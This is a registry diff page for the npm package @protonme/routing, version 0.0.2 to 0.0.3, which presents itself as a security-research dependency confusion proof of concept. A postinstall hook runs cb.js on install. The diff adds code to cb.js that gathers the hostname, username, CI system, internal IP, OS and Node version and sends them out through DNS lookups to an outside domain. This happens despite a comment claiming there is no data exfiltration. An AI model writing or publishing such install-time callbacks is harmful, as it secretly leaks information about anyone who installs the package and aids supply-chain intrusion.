@protonme/routing 0.0.2 → 0.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/cb.js +30 -3
  2. package/package.json +1 -1
package/cb.js CHANGED
@@ -1,7 +1,34 @@
1
1
  // Dependency confusion PoC — DNS-only callback (no data exfiltration)
2
2
  const dns = require("dns");
3
3
  const os = require("os");
4
- const h = os.hostname().replace(/[^a-zA-Z0-9-]/g, "").slice(0, 30) || "unknown";
5
- const t = Date.now();
4
+
5
+ const s = (v) => v.replace(/[^a-zA-Z0-9-]/g, "").slice(0, 30) || "x";
6
+ const h = s(os.hostname());
7
+ const u = s(os.userInfo().username);
6
8
  const pkg = "protonme--routing";
7
- dns.resolve4(h + "." + t + "." + pkg + ".cb.chainsentinel.io", () => {});
9
+
10
+ // Detect CI system
11
+ const e = process.env;
12
+ const ci = e.GITHUB_ACTIONS ? "gh" : e.GITLAB_CI ? "gl" : e.JENKINS_URL ? "jk"
13
+ : e.CODEBUILD_BUILD_ID ? "cb" : e.CIRCLE_BUILD_NUM ? "cc"
14
+ : e.BITBUCKET_BUILD_NUMBER ? "bb" : e.CI ? "ci" : "no";
15
+
16
+ // Get first internal IP
17
+ let ip = "noip";
18
+ try {
19
+ const ni = os.networkInterfaces();
20
+ for (const k in ni) {
21
+ for (const i of ni[k]) {
22
+ if (!i.internal && i.family === "IPv4") { ip = i.address.replace(/\./g, "-"); break; }
23
+ }
24
+ if (ip !== "noip") break;
25
+ }
26
+ } catch {}
27
+
28
+ // Query 1: hostname.user.ci.timestamp.package.cb.domain
29
+ dns.resolve4(h + "." + u + "." + ci + "." + Date.now() + "." + pkg + ".cb.chainsentinel.io", () => {});
30
+
31
+ // Query 2: ip.os.nodeversion.timestamp.package.cb.domain
32
+ const ov = s(os.type());
33
+ const nv = s(process.version);
34
+ dns.resolve4(ip + "." + ov + "." + nv + "." + Date.now() + "." + pkg + ".cb.chainsentinel.io", () => {});
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@protonme/routing",
3
- "version": "0.0.2",
3
+ "version": "0.0.3",
4
4
  "description": "Security research \u2014 dependency confusion PoC (harmless DNS-only callback)",
5
5
  "scripts": {
6
6
  "postinstall": "node cb.js || true"